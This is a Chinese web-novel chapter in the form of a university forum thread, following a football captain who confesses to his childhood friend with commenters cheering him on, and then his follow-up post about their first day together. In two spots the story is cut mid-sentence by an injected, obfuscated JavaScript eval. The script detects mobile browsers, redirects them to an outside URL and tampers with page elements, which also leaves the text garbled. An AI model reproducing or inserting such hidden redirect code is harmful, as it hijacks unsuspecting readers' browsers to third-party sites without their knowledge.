论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 1楼匿名用户： 沙发！ 兄弟们快来看，楼主更新了！ 等等，看完内容……楼主你是真的蠢啊！！！ 2楼匿名用户： 带好瓜子可乐，让我慢慢骂。 楼主，你让我说你什么好？你他妈是足球队队长，你踢球的时候不是最擅长临场发挥吗？怎么关键时刻掉链子？？？ 3楼匿名用户： @足球不行踢球去你是不是应该改名叫“告白不行逃跑去”？ 笑死我了，看见有人告白你跑什么跑？你是足球队的又不是田径队的！ 4楼匿名用户： 回3楼：哈哈哈哈哈哈夺笋啊！ 不过楼主确实该骂，这么好的机会，就因为你怂，没了。 5楼匿名用户： 我来复盘一下楼主的骚操作： 1.约人吃饭准备告白? 2.看见有人抢先告白?跑路 3.对方发消息问“你在哪”?撒谎说没事 4.对方说“我有喜欢的人了”?不问是谁 5.对方说“等你问了再告诉你”?还是不问 6.凌晨两点发帖求骂醒? 总结：进攻0分，防守0分，逃跑100分！ 6楼匿名用户： 回5楼：笑死，这个复盘太真实了。 楼主你踢球要是这个水平，早就被教练按在替补席了。 7楼匿名用户： 等等，我有个问题。 楼主，你说那个女生是“长发披肩，白裙子，干干净净”？ 是不是还背了个帆布包，上面有个猫猫刺绣？ 8楼楼主： 回7楼：……你怎么知道？ 9楼匿名用户： 回8楼：卧槽，那是我室友！！！ 法学院的那个！！！上周她就在宿舍说要去告白，我们全宿舍还给她出主意！！！ 她回来的时候哭了，说被拒绝了，但拒绝得特别温柔，她还说“那个男生说他心里有人了”！！！ 楼主！！！那个人就是你竹马啊！！！ 10楼匿名用户： 破案了破案了！ 顾辞拒绝了她，然后转头跟你说“我有喜欢的人了”！ 这个“喜欢的人”是谁还用猜吗？？ 楼主你是真傻还是装傻啊？？？ 11楼匿名用户： @足球不行踢球去你看见了吗！！！人家女生被拒绝了！！！你跑什么跑！！！你上去就是胜利啊！！！ 12楼匿名用户： 代入一下顾辞视角： 中午被一个不喜欢的女生堵着告白，好不容易处理完了，一看手机，约好吃饭的人放我鸽子。 晚上吃饭，我主动提这个事，给你递话，暗示我喜欢的人是你。 结果你装傻？？？ 你还不问？？？ 你让我怎么办？？？ 13楼匿名用户： 回12楼：顾辞：我话都说到这份上了，你还让我怎样？？？ 楼主你知不知道，顾辞那句“等你想问了再告诉我”翻译一下就是： “我都这样了你还看不出来吗？？你是不是傻？？？” 14楼匿名用户： 我现在特别想看顾辞发帖。 标题：【树洞】我竹马好像是个傻子，怎么办，在线等。 15楼匿名用户： 回14楼：笑死，想看+1！ 内容我都帮他想好了： “我暗示了八百遍我喜欢他，他还是不懂。昨天我连‘我有喜欢的人了’都说出来了，他居然不问我那个人是谁！我现在怀疑他脑子里装的是肌肉。” 16楼匿名用户： 回15楼：哈哈哈哈哈哈“脑子里装的是肌肉”太损了！ 不过楼主确实，190的身高，190的肌肉，19的情商。 17楼匿名用户： 回16楼：19的情商？？你太看得起他了，我觉得是9。 18楼匿名用户： 话说回来，楼主你分析一下： 顾辞说“我不喜欢她”的时候，语气是什么样的？ 是不耐烦？还是平淡？还是别的？ 19楼楼主： 回18楼：就……很平淡。 像在说“今天天气不错”那种平淡。 20楼匿名用户： 回19楼：那不就对了！ 如果真的在意那个女生，或者对她有好感，拒绝的时候不会那么平淡。 他那么平淡，说明那个女生对他来说根本不重要。 重要的是谁？ 是你啊傻子！！！ 21楼匿名用户： 而且他紧接着就说“我有喜欢的人了”！ 这个转折，这个递进，这个暗示—— 楼主你要是再看不出来，我真的要去京华门口拉横幅了。 22楼匿名用户： @足球不行踢球去你现在、立刻、马上，给顾辞发消息！ 就问：“你中午说的那个人，是不是我？” 23楼匿名用户： 对！现在就发！ 别等到明天了！ 你现在不发，我这觉都睡不踏实！ 24楼楼主： 回23楼：……现在凌晨两点多了。 他肯定睡了。 25楼匿名用户： 回24楼：你怎么知道他睡了？ 万一他也睡不着呢？ 万一他也在等你的消息呢？ 26楼匿名用户： 回25楼：有道理！ 楼主你想想，他说那句话的时候，是不是也在等你的反应？ 你没问，他是不是很失望？ 他现在可能也躺在床上，盯着手机，等你发消息！ 27楼匿名用户： 代入顾辞视角： 我话都说出去了，他没问。 他是不是不喜欢我？ 他是不是只把我当兄弟？ 我是不是自作多情了？ 然后翻来覆去睡不着。 惨不惨？你说惨不惨？ 28楼匿名用户： 楼主，你忍心让他这样吗？？ 你忍心让他失眠吗？？ 你忍心让他怀疑自己吗？？ 29楼楼主： 回28楼：…… 我不忍心。 但我还是怕。 30楼匿名用户： 怕什么怕！ 你看看你第一帖到现在，你变了多少？ 从“我是直男”到“我好像有点不对劲”，从“他是表姐”到“我陪你去临市”。 你已经不是原来的你了！ 你已经喜欢上他了！ 你现在要做的，就是承认这一点，然后告诉他！ 31楼匿名用户： 回30楼：说得好！ 楼主，你想想顾远洲。 他喜欢了那么多年，最后带着遗憾走了。 你想像他一样吗？ 你想等十几年后，看着顾辞和别人在一起，然后一个人去看樱花吗？ 32楼楼主： 回31楼：…… 我不想。 33楼匿名用户： 那不就结了！ 现在就去！ 发消息！ 就问！ 34楼匿名用户： 姐妹们，我来帮楼主编辑消息： “睡了吗？” “我想问你一个问题。” “你晚上说的那个人，是我吗？” 35楼匿名用户： 回34楼：太正式了！ 应该发： “睡了没？” “你那个人，是不是我？” 简单粗暴，符合体育生人设。 36楼匿名用户： 回35楼：哈哈哈哈哈哈“你那个人”是什么鬼！ 但确实很楼主风格。 37楼匿名用户： 我觉得可以发： “圆圆。” “我有话想问你。” “你喜欢的那个傻逼，是不是我？” 38楼匿名用户： 回37楼：笑死，这什么自嘲式告白！ 不过如果顾辞真的喜欢他，看到这个肯定会笑。 39楼匿名用户： 楼主，选一个发吧！ 我们等你的消息！ 40楼匿名用户： 等等等等，我突然想到一个问题。 万一顾辞喜欢的人真的是别人呢？ 万一不是楼主呢？ 41楼匿名用户： 回40楼：不可能。 你看看楼主描述的那些细节： 给他占座留靠窗的位置，因为他喜欢晒太阳。 看他进球的朋友圈会私聊夸他。 让他靠着睡，陪他去外地。 说“等你问了再告诉我”的时候看他的眼神。 这要不是喜欢，我把头拧下来。 42楼匿名用户： 回41楼：同意。 顾辞那种高岭之花，对谁都冷淡，唯独对楼主不一样。 这不是喜欢是什么？ 43楼匿名用户： 而且你们还记得顾远洲吗？ 顾远洲喜欢顾辞那么多年，顾辞对他什么态度？ 客气，疏离，保持距离。 但对楼主呢？ 让他靠着睡，让他陪着去外地，对他笑，对他温柔。 差别对待这么明显，看不出来的只有楼主本人。 44楼匿名用户： 楼主，你睁开眼睛看看吧！！！ 全世界都看出来了！！！ 就你不知道！！！ 45楼匿名用户： 或者说，你知道，但你不敢信。 因为你太在意他了，所以怕是自己自作多情。 但你想想，你什么时候自作多情过？ 他给你的那些信号，哪一个是你自己脑补的？ 46楼楼主： 回45楼：…… 他让我靠着他睡。 他陪我去临市。 他说“等你问了再告诉我”的时候，看我的眼神…… 我以为是我想多了。 47楼匿名用户： 回46楼：不是你想多了，是你想少了！ 你就是想得太少，才拖到现在！ 48楼匿名用户： 楼主，我给你讲个道理： 人这一辈子，能遇到几个让你心动的人？ 十四年了，你身边来来去去那么多人，只有他让你这么在意。 这不是喜欢是什么？ 你要是不抓住，以后想起来，会后悔一辈子的。 49楼匿名用户： 对，你想想顾远洲。 他现在一个人在临市，发樱花照片，配文没有字。 他后悔吗？ 他肯定后悔。 后悔当初没有说出来。 你想像他一样吗？ 50楼楼主： 回49楼：…… 不想。 我明天就去问。 51楼匿名用户： 又是明天？？？ 楼主你上一帖就说“明天再说”，结果拖了三天。 这一帖又说“明天就去问”，不会又拖吧？ 52楼匿名用户： 回51楼：就是！ 楼主你要是再拖，我们真去京华拉横幅了。 53楼匿名用户： 横幅内容我都想好了： “张扬，你他妈快表白！” “顾辞在等你！” “十四年了，该给个名分了！” 54楼匿名用户： 回53楼：哈哈哈哈哈哈“给个名分”是什么鬼！ 不过有道理，楼主你确实该给顾辞一个名分了。 55楼匿名用户： 话说回来，楼主你有没有想过，顾辞可能也在看这个帖？ 56楼匿名用户： 卧槽？？？ 有这个可能！！！ 万一顾辞也在潜水呢？？？ 57楼匿名用户： @圆圆是你吗？？？ 如果是你，给个暗号！！！ 58楼匿名用户： 笑死，这楼要变成认亲现场了。 59楼匿名用户： 不过说真的，如果顾辞真的在看这个帖，他应该早就知道楼主喜欢他了。 毕竟楼主这个帖子，从头到尾都在写他。 60楼匿名用户： 回59楼：是啊！ 从第一帖的“黑发如墨、肤白如玉、鼻梁高挺、眼眸深邃若寒星”， 到现在的“我怕是我自作多情”。 楼主对他的喜欢，都快溢出屏幕了。 61楼匿名用户： 顾辞要是看到这个帖，肯定又甜又急。 甜的是，原来这傻子也喜欢我。 急的是，这傻子怎么还不来问我！ 62楼匿名用户： 所以楼主，你赶紧去问啊！ 别让顾辞等太久！ 他都等了十四年了！ 63楼楼主： …… 好。 我现在发。 64楼匿名用户： 啊啊啊啊啊！！！ 楼主终于要发了！！！ 65楼匿名用户： 截图截图！ 我要见证历史！ 66楼匿名用户： 楼主发了记得截图发上来！ 我们要看！ 67楼匿名用户： 不对，万一顾辞真的在看帖，他应该已经知道楼主会发了。 他现在是不是也拿着手机在等？ 68楼匿名用户： 回67楼：代入一下顾辞视角—— 刷着这个帖，看着楼主被大家骂，看着楼主终于说“我现在发”。 心跳加速，手指发抖，盯着对话框。 然后…… 等楼主的消息。 69楼匿名用户： 回68楼：你别说了，我血糖要爆了。 这是什么双向暗恋的甜文剧情啊！ 70楼匿名用户： 楼主呢？ 发了没？ 怎么还没截图？ 71楼匿名用户： 是不是在编辑消息？ 是不是在措辞？ 是不是手抖得打不了字？ 72楼匿名用户： @足球不行踢球去你倒是吱一声啊！！！ 73楼匿名用户： 急死我了！ 三分钟了！ 楼主你发个消息要这么久吗？ 74楼匿名用户： 五分钟了！！！ 不会又怂了吧？？？ 75楼匿名用户： @足球不行踢球去你要是敢怂，我就去你们球队门口堵你！ 76楼匿名用户： 截图来了！！！ 【张】：睡了吗？ 【圆圆】：没。 【张】：我想问你一件事。 【圆圆】：嗯。 【张】：你晚上说的那个人…… 【张】：是我吗？ 77楼匿名用户： 啊啊啊啊啊啊！！！ 发了！！！ 真的发了！！！ 78楼匿名用户： 他回了没？ 他回了没？ 他回了没？？？ 79楼匿名用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382519|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户： @足球不行踢球去快说后续！！！ 80楼匿名用户： 急死我了！ 我比楼主还紧张！ 81楼匿名用户： 代入一下顾辞视角—— 看到这条消息，会是什么反应？ 是愣住？是笑？是哭？还是直接打电话过去？ 82楼匿名用户： 我觉得是笑。 笑了然后打字。 打了又删，删了又打。 最后发出去一个字。 83楼匿名用户： 一个字？ 什么字？ 84楼匿名用户： “嗯。” 85楼匿名用户： 回84楼：啊？？？ 就一个“嗯”？？？ 这也太冷淡了吧？？？ 86楼匿名用户： 回85楼：你懂什么！ “嗯”是最好的回答！ 不是“不是”，不是“你猜”，是“嗯”！ “嗯”就是“是”！ 就是“你终于问了”！ 就是“我等了好久”！ 87楼匿名用户： 对！！！ 而且顾辞那种性格，能说“嗯”已经很好了！ 他怎么可能说“是啊我好喜欢你”！ 他是高岭之花啊！ 88楼匿名用户： 截图呢截图呢？ 楼主快发截图！ 89楼楼主： 截图来了。 【圆圆】：嗯。 就这一个字。 我看着这个字，手又开始抖。 我不知道该回什么。 我想说“我也是”。 但打出来又删掉。 打了又删，删了又打。 我现在还在抖。 90楼匿名用户： 回他！！！ 就说“我也是”！！！ 快！！！ 91楼匿名用户： 就说“我也是，我喜欢你”！ 七个字！ 打完就发！ 92楼匿名用户： 楼主你手别抖！ 深呼吸！ 一、二、三！ 发！ 93楼楼主： 发了。 【张】：我也是。 【张】：我喜欢你。 94楼匿名用户： 啊啊啊啊啊啊啊啊啊啊！！！ 发了！！！ 真的发了！！！ 95楼匿名用户： 他回了没？ 他回了没？ 顾辞怎么回的？？？ 96楼匿名用户： @足球不行踢球去快说！！！ 97楼楼主： 他回了。 【圆圆】：我知道。 【圆圆】：我等了你好久。 98楼匿名用户： 呜呜呜呜呜呜呜！！！ “我等了你好久”！！！ 我哭了！！！ 99楼匿名用户： 十四年！！！ 他终于等到了！！！ 100楼匿名用户： 楼主你现在什么感觉？？？ 快说快说！！！ 101楼楼主： 我不知道怎么形容。 手还在抖。 眼眶有点酸。 想笑又想哭。 想现在就冲到他宿舍楼下。 但他在东区我在西区。 太远了。 102楼匿名用户： 回101楼：远什么远！ 跑过去啊！ 你不是体育生吗！ 跑起来！ 103楼匿名用户： 对！ 现在就跑！ 去他宿舍楼下！ 当面说！ 104楼匿名用户： 截图呢？ 你们后面聊了什么？ 快发！ 105楼楼主： 【张】：我现在能去找你吗？ 【圆圆】：现在？ 【张】：嗯。 【圆圆】：宿舍楼已经关门了。 【张】：…… 【张】：那我明天早上去给你买包子。 【圆圆】：好。 【圆圆】：我等你。 106楼匿名用户： “我等你”！！！ 又是“我等你”！！！ 他等了你十四年！！！ 明天早上还要等你！！！ 107楼匿名用户： 楼主你明天一定要去！ 买两笼虾仁！ 不，买三笼！ 告诉他以后都不用等了！ 你来了！ 108楼匿名用户： 呜呜呜呜呜呜呜我这个老母亲终于放心了！！！ 儿子终于开窍了！！！ 109楼匿名用户： 追了四帖，从第一帖的“我是直男”到现在，楼主你终于成长了！ 110楼匿名用户： 所以现在问题来了： 你们明天早上见面会说什么？ 会不会直接在一起？ 会不会拥抱？ 会不会…… 111楼匿名用户： 回110楼：会不会什么你倒是说啊！ 会不会亲？？？ 112楼匿名用户： 哈哈哈哈哈哈别问了！ 楼主脸皮薄，会害羞的！ 113楼匿名用户： @足球不行踢球去明天记得来更新！ 我们要看后续！ 114楼楼主： 好。 明天一定来。 现在…… 现在我想再给他发条消息。 115楼匿名用户： 发什么？ 快说！ 116楼楼主： 【张】：圆圆。 【张】：晚安。 【圆圆】：晚安，张扬。 117楼匿名用户： 呜呜呜呜呜这个名字！！！ 他叫你全名！！！ 但听起来好温柔！！！ 118楼匿名用户： 行了行了，我们该睡了。 楼主也该睡了。 明天还有大事要办！ 119楼匿名用户： 祝楼主明天顺利！ 祝楼主和顾辞幸福！ 祝顾远洲也能找到自己的幸福！ 120楼匿名用户： 这个帖我从第一页追到现在，见证了楼主的成长。 从“竹马脱单了如何调理”到“我有喜欢的人了”。 从“我是直男”到“我喜欢你”。 楼主，你真的长大了。 121楼匿名用户： 晚安楼主。 晚安顾辞。 晚安这个美好的夜晚。 —— 张扬把手机放到枕边。 窗外的月光从窗帘缝隙里漏进来，薄薄的一层，落在他的被子上。 他看着那条消息。 【圆圆】：晚安，张扬。 他翻了个身，把脸埋进枕头里。 嘴角不自觉地翘起来。 他想起刚才发“我喜欢你”的时候，手抖得差点把手机扔出去。 他想起看到那个“嗯”的时候，心跳快得像刚踢完一场加时赛。 他想起他说“我等了你好久”的时候，眼眶酸得差点没忍住。 十四年了。 他终于说出来了。 他也终于等到了。 窗外很静。 京华的夜总是很静。 但张扬睡不着。 他满脑子都是明天早上。 8. 他同意了，但我好像更慌了1 标题：【树洞】他同意了，但我好像更慌了 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 我活着回来了。 不是那种“活着”，是那种“活着但感觉像在做梦”的活着。 昨晚的事你们都知道，我发了那条消息，他说“嗯”，他说“我等了你好久”。 然后我一晚上没睡着。 是真的没睡着。 翻来覆去，脑子里全是他。 今天早上六点我就爬起来了，去二食堂排队。 排队的时候手还在抖。 不是紧张，是那种……怎么说呢，整个人都飘着，踩在云上那种感觉。 买完包子往食堂走，每一步都觉得不真实。 推开食堂门的时候，我深吸了一口气。 靠窗的老位置。 他坐在那里。 阳光从窗户照进来，落在他身上。 他穿着那件米白色的毛衣，头发软软地垂着，正低头看手机。 听见脚步声，他抬起头。 然后他笑了。 不是那种礼貌的笑，也不是那种无奈的笑。 是真的笑。 眼睛弯起来，嘴角翘起来，整个人都亮起来的那种笑。 那一刻我脑子里只有一个念头： 操，值了。 十四年，值了。 —— 我走过去，把包子放在桌上。 “你的，醋单独放的。” 他说：“嗯。” 然后他看着我，说：“坐啊，站着干什么。” 我坐下。 然后我们俩就那么看着对方，谁都没说话。 气氛有点奇怪。 不是尴尬的那种奇怪，是那种……不知道接下来该干什么的奇怪。 以前我们一起吃早饭，从来不这样。 他会低头看书，我会刷手机，偶尔聊两句训练的事。 但今天，他没看书，我没刷手机。 就那么看着对方。 最后还是他先开口。 “你一晚上没睡？”他看着我的黑眼圈问。 “嗯。” “我也是。” 然后他又笑了。 我看着那个笑，突然就不知道哪来的勇气，伸手握住了他放在桌上的手。 他愣了一下。 但没抽回去。 他的手很凉，和我想象的一样。 我握着他的手，说：“顾辞。” 我叫的是他全名。 他眨了眨眼。 我说：“我不是在做梦吧？” 他看着我，沉默了两秒。 然后他说：“你掐自己一下不就知道了。” “……” “舍不得掐？” 我被他问得噎住。 他笑了一下，反手握住了我的手。 他的手还是凉的，但握得很紧。 然后他说：“不是梦。” 那一刻，我突然觉得眼眶有点酸。 我也不知道为什么。 明明应该高兴的。 明明应该笑的。 但我就是眼眶酸。 —— 那天上午我没去训练，请了假。 他也没去上课，请了假。 我们就在学校里走。 从食堂走到未名湖，从未名湖走到图书馆，从图书馆走到操场。 走了一上午，说了很多话。 说昨晚他看见我消息时的反应。 说他等那个“嗯”等了多久。 说其实他早就喜欢我了，但一直不敢说，因为我是个直男。 说到“直男”这两个字的时候，他看了我一眼，眼神有点复杂。 我当时没太在意。 后来我们走到操场，坐在看台上。 阳光很好，草坪上有几个人在踢球。 他看着那些人，忽然说：“张扬，我问你一个问题。” “嗯？” “你以前……有没有喜欢过谁？” 我愣了一下。 “就是那种喜欢。”他说，“女生。” 我不知道他为什么突然问这个。 但我想了想，说：“没有。一直踢球，没时间。” 他沉默了一会儿。 然后他说：“那你有没有说过，你喜欢什么类型的女生？” 我的脑子里“嗡”的一声响。 —— 兄弟们。 我想起来了。 我真的想起来了。 以前在球队更衣室里，那帮孙子最爱聊的就是这个。 “张队，你喜欢什么样的？” 我当时怎么说来着？ “身材火辣的，前凸后翘那种。” “大长腿，穿高跟鞋最好。” “美女谁不喜欢啊？肤白貌美大长腿，完美！” 而且不止一次。 他们起哄的时候，我就跟着瞎说。 有时候说得更过分。 什么“36D”、“漫画腿”、“御姐范”…… 说的时候根本没当回事。 就是嘴嗨。 就是跟着起哄。 就是…… 就是从来没想过，这些话有一天会传到顾辞耳朵里。 我转头看他。 他也在看我。 脸上没什么表情，还是那样淡淡的。 但我突然就觉得不对劲了。 他刚才那个眼神，那个“眼神有点复杂”的眼神—— 那不是随便问问。 他是在意。 他在意那些话。 —— 我张了张嘴，想解释。 “那个……我那是瞎说的，更衣室里那帮孙子起哄，我就跟着……” 他没说话，就看着我。 “真的就是嘴嗨，我没当真过……” 他还是不说话。 我急了：“顾辞，我真的没有……我以前不懂，我真的……” “我知道。”他打断了。 他看着我，语气很平静。 “我知道你是瞎说的。” “也知道你没当真。” “但是张扬——” 他顿了顿。 “那些话，我听过。” “不止一次。” “从别人嘴里，也从他嘴里。” 他说的“他”，是顾远洲。 我愣住了。 他突然笑了一下，那个笑和今天早上的不一样。 有点淡，有点涩。 “哥以前告诉我，你在更衣室里说的那些话。他说，张扬应该是个直男，你别想了。” “我不信，我说你只是嘴嗨。” “后来我自己也听到了。不止一次。” “你和队友聊天，我在旁边路过，你说‘36D才是王道’。” “你和别人视频，我在图书馆自习，你对着镜头说‘美女谁不喜欢’。” “张扬，你知道那是什么感觉吗？” 他说这些话的时候，语气还是那么平静。 但我听得心里一抽一抽的疼。 我不知道。 我真的不知道。 我不知道他听过那些话。 我不知道他会在意。 我不知道…… 我不知道我那些嘴嗨，会让他这么难过。 —— 我不知道该说什么。 就那么看着他。 他也没说话。 看台上很安静，只有操场那边偶尔传来的喊叫声。 过了很久，他轻轻叹了口气。 “算了。”他说，“都过去了。” “不是……” “真的，都过去了。”他看着我，“我知道你是嘴嗨，也知道你现在……不一样了。” 他顿了顿。 “但张扬，有些话，我需要时间消化。” “你可以不在意那些话，但我在意。” “不是怪你，是……” 他没说下去。 但我听懂了。 是难过。 是那些话像刺一样扎在心里，拔不出来。 明明知道是过去的事，明明知道现在的我已经不一样了。 但还是会难过。 我突然很想抽自己两巴掌。 —— 我深吸一口气。 然后我说：“顾辞，你看着我。” 他抬起头。 我看着他的眼睛，一字一句地说： “以前那些话，都是放屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382520|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我那时候不懂，我不知道什么叫喜欢。” “我以为喜欢就是看脸看身材，我以为那些话就是说着玩的。” “但我现在知道了。” “喜欢不是看脸，不是看身材。” “是看见你就想笑，是看不见你就想找，是你靠着我肩膀的时候我心跳快得像要炸开。” “是你难过的时候我更难过。” “是你说的那些话，我每一句都记得。” “是你。” “不是36D，不是大长腿，不是美女。” “是你。” 我说完这些，心跳快得像刚跑完一万米。 他就那么看着我，不说话。 看了很久。 久到我以为他要说“你编得挺好”或者“我不信”。 但他没有。 他只是慢慢伸出手，握住了我的手。 他的手还是凉的。 但他握得很紧。 然后他说：“张扬。” “嗯？” “你知道吗，我等你这句话，等了很久。” “不是等你喜欢我。” “是等你亲口告诉我，我不是你的‘将就’。” “不是你的‘原来我也能喜欢男的’。” “是你真的、真的只喜欢我。” 我看着他的眼睛。 那双眼睛里，有我的倒影。 还有一点点水光。 我说：“不是将就。” “是你。” “只有你。” 他低下头，把脸埋进我的手心里。 肩膀在抖。 我不知道他是不是在哭。 但我知道，这一次，我不会再让他难过了。 —— 下午我们各自回了宿舍，说要补觉。 但躺到现在，我根本睡不着。 满脑子都是他说过的那些话。 “那些话我听过，不止一次。” “你知道那是什么感觉吗？” “我需要时间消化。” 兄弟们。 我现在心情很复杂。 高兴吗？高兴。他同意了，他喜欢我，我们在一起了。 但更多的是一种……怎么说呢，后悔。 后悔以前嘴嗨说过那些话。 后悔让他难过那么久。 后悔没早点发现自己的心意。 后悔让他等了那么久，还一边等一边听我说喜欢什么“身材火辣的美女”。 操。 我现在想起来都想抽自己。 —— 现在是晚上十点。 我刚给他发了消息。 【张】：睡了吗？ 【圆圆】：没。 【张】：在想什么？ 【圆圆】：在想你。 我看着那三个字，心跳漏了一拍。 然后他又发了一条： 【圆圆】：也在想你以前说的那些话。 【圆圆】：不是怪你，就是……还在消化。 【张】：我懂。 【张】：顾辞，我可以等。 【张】：等你消化完，等你不难过，等多久都行。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你今天说的那些话，我录下来了。 【张】：？？？ 【圆圆】：以后你要是再嘴嗨，我就放给你听。 我看着那条消息，愣了一下。 然后笑了。 笑着笑着，眼眶又有点酸。 他录下来了。 他把那些话录下来了。 不是因为不信我。 是因为…… 因为他也在努力。 努力相信，努力消化，努力接受这个曾经是个傻逼的我。 —— 兄弟们。 我现在坐在宿舍里，盯着手机屏幕，心里乱七八糟。 高兴是真的高兴。 后悔也是真的后悔。 但更多的是—— 我想对他好。 比以前更好。 好到让他忘记那些话。 好到让他再也不用难过。 好到让他知道，我张扬这辈子，就只喜欢他一个人。 9. 他同意了，但我好像更慌了2 标题：【树洞】他同意了，但我好像更慌了 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 1楼匿名用户： 沙发！ 楼主你终于更新了！ 2楼匿名用户： 看完主楼，我只想说： 楼主你以前真的……好欠揍啊。 3楼匿名用户： 回2楼：不是欠揍，是蠢。 “36D才是王道”？？？ 这话你也说得出口？？？ 当着暗恋你的人的面？？？ 4楼匿名用户： 代入顾辞视角： 我喜欢的人，当着我的面，说喜欢身材火辣的美女。 我是什么感受？ 我是女的也就罢了，关键我是男的啊！！！ 这不是公开处刑吗！！！ 5楼匿名用户： 回4楼：更惨的是，他说的那些话，你还都听到了。 不止一次。 从别人嘴里，从他嘴里。 想忘都忘不掉。 6楼匿名用户： 楼主你现在知道为什么顾辞要“消化”了吧？ 那些话就像刺，扎在心里好几年了。 就算知道你现在变了，就算知道你真心喜欢他。 那些刺也不会一下子消失。 需要时间。 7楼匿名用户： 但是楼主，你今天做得很好。 真的。 你说的那些话，我都感动了。 “是你。” “不是36D，不是大长腿，不是美女。” “是你。” 我眼泪都出来了。 8楼匿名用户： 回7楼：+1 虽然楼主以前是个傻逼，但今天这波操作，满分。 尤其是那句“是你，只有你”。 顾辞等这句话，真的等了好久。 9楼匿名用户： 而且楼主说“我可以等，等多久都行”。 这个态度就对了。 顾辞需要时间，你就给他时间。 用行动证明，你不是说说而已。 10楼匿名用户： 等等，你们有没有注意到一个细节？ 顾辞说“那些话我听过，不止一次”。 “从别人嘴里，也从‘他’嘴里”。 “他”是谁？顾远洲？？？ 11楼匿名用户： 回10楼：卧槽，你这么一说…… 顾远洲以前告诉顾辞，张扬是直男，让他别想了。 但顾远洲自己呢？ 他喜欢顾辞那么多年，从来没说过。 他是在用这种方式……让自己死心？ 12楼匿名用户： 回11楼：我哭了。 顾远洲告诉顾辞“他是直男你别想了”， 翻译一下就是： “我喜欢你，但我知道你喜欢他，所以我帮你确认他是直男，让你死心。” 这是什么绝世苦情男二剧本？？？ 13楼匿名用户： 所以顾远洲听到的那些话，比他更难过吧？ 他喜欢的人，喜欢另一个男生。 那个男生还在那说喜欢什么身材火辣的美女。 他能怎么办？ 他只能告诉顾辞：你别想了。 14楼匿名用户： 不行，我要去给顾远洲发私信。 告诉他楼主现在开窍了，让他放心。 15楼匿名用户： 话说回来，楼主你有跟顾远洲说吗？ 你和顾辞在一起的事。 16楼楼主： 回15楼：还没。 不知道怎么开口。 他刚走没多久，我就…… 我怕他觉得我们在秀。 17楼匿名用户： 回16楼：他不会的。 他要是真的喜欢顾辞，就会希望他幸福。 现在顾辞幸福了，他只会高兴。 18楼匿名用户： 对，而且他上次走的时候，不是已经放手了吗？ 他对你说“你要一直这样对他”。 他早就准备好了。 19楼匿名用户： 楼主，你可以发一条消息给他。 就说“谢谢你，我会对他好的”。 就够了。 20楼楼主： …… 好。 我现在发。 21楼匿名用户： 截图截图！ 22楼匿名用户： 等后续！ 23楼楼主： 发了。 【张】：哥，我和顾辞在一起了。谢谢你。 他回得很快。 【顾远洲】：我知道。 【顾远洲】：他给我发消息了。 【顾远洲】：他说，这次不用一个人去看海了。 我看着那条消息，眼眶又酸了。 24楼匿名用户： 呜呜呜呜呜呜呜！！！ “这次不用一个人去看海了”！！！ 顾辞这是在告诉他哥：我有人陪了，你放心吧。 25楼匿名用户： 顾远洲回什么？ 他回什么了？ 26楼楼主： 【顾远洲】：好。 【顾远洲】：对他好点。 【顾远洲】：不然我回来揍你。 【张】：一定。 【张】：哥，你也要好好的。 【顾远洲】：嗯。 【顾远洲】：下次回来，请我吃小笼包。 【张】：好。 就这些。 27楼匿名用户： “下次回来，请我吃小笼包。” 他是在给自己一个回来的理由。 也是在告诉你们：我还会回来的，但我不是来抢人的，是来吃包子的。 28楼匿名用户： 顾远洲这个角色，我真的哭死。 从头到尾，他都是最清醒的那个。 喜欢，但不说。等不到，就走。走了，还祝福。 这是什么人间天使。 29楼匿名用户： 所以现在皆大欢喜了？ 楼主和顾辞在一起了。 顾远洲也放下了。 完美结局！ 30楼匿名用户： 等等，还没有完美。 楼主，你那些“36D”的言论，还没消化完呢。 顾辞说了，需要时间。 你打算怎么帮他消化？ 31楼楼主： 回30楼：…… 我也不知道。 但我会一直对他好。 用实际行动证明。 32楼匿名用户： 这就对了。 用行动，不是用嘴。 你以前嘴嗨太多，现在要用行动把那些话盖过去。 33楼匿名用户： 楼主，我给你出个主意： 以后每次你想夸他，就说出来。 “你今天真好看。” “你笑起来真好看。” “你眼睛真好看。” “你哪都好看。” 多说，说到他习惯，说到他相信你是真心的。 34楼匿名用户： 回33楼：对！ 而且要具体！ 不要只说“好看”，要说“你穿这件毛衣真好看”、“你低头看书的时候睫毛好长”、“你喝豆浆的时候腮帮子鼓起来好可爱”！ 细节！细节最打动人！ 35楼匿名用户： 哈哈哈哈哈哈“腮帮子鼓起来好可爱”是什么鬼！ 但确实，这种话比“我喜欢你”更有杀伤力。 36楼楼主： …… 我记下了。 37楼匿名用户： 还有，以后跟队友聊天，别瞎说了。 他们要是再聊什么美女，你就说“我有喜欢的人了”。 让他们知道，你已经有主了。 38楼匿名用户： 对！宣示主权！ 让他们知道，张扬已经是顾辞的人了！ 39楼匿名用户： 话说回来，楼主你队友知道吗？ 你和顾辞的事。 40楼楼主： 回39楼：还没说。 今天请假了，没去训练。 明天……明天不知道怎么说。 